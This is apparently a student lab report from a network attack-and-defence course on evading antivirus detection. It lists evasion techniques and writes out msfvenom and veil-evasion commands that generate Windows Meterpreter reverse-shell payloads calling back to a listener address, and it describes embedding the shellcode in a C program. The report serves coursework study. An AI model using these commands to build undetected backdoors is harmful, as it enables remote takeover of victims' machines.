20169215 2016-2017-2 《网络攻防实践》实验——免杀技术
20169215 2016-2017-2 《网络攻防实践》实验——免杀技术
基础问题回答
(1)杀软是如何检测出恶意代码的?
- 基于特征码的检测:杀软通过对已存在的流行代码特征的提取和比对检测到具有该特征码的程序
- 基于行为的监测:杀软通过检测程序是否有更改注册表行为、是否有设置自启动、是否有修改权限等
(2)免杀是做什么?
- 免杀是通过针对杀毒软件查杀恶意代码的原理,将恶意代码进行修改和包装,反过来使得恶意代码能够不被杀毒软件所检测和查杀,更好的植入到被攻击的主机中进行一些非法的操作。
(3)免杀的基本方法有哪些?
- 直接修改特征码的十六进制法
- 修改字符串大小写法
- 等价替换法
- 指令顺序调换法
- 通用跳转法
- 一键加壳法
- 加冷门壳
- 加壳改壳
- 加花指令
- 改程序入口点
实践总结与体会
此次实验使我了解了杀毒软件发现和查杀木马或病毒的原理。通过对免杀技术的学习,我知道了杀毒软件并不是万无一失的,应对木马和病毒还要靠自己的防范意识。
实践过程
1、使用msfvenom编码器生成可执行文件并检测
-
生成可执行文件命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.69.156 PORT=9214 -f exe > ms9214.exe
-
2、用veil-evasion生成可执行文件并检测
-
首先安装veil-evasion平台:
sudo ape-get install veil-evasion
-
打开veil-evasion后,输入
use python/meterpreter/rev_tcp
set LHOST 172.16.69.156
generate
9214
1 -
3、C语言调用Shellcode
-
在kali中断下生成一个C格式的十六进制数组,输入命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.69.126 LPORT=443 -f c
-
在windows VS2010中编写一个C语言的shellcode代码,并将kali中生成的十六进制数组加入C代码中,编译运行生成可执行程序
-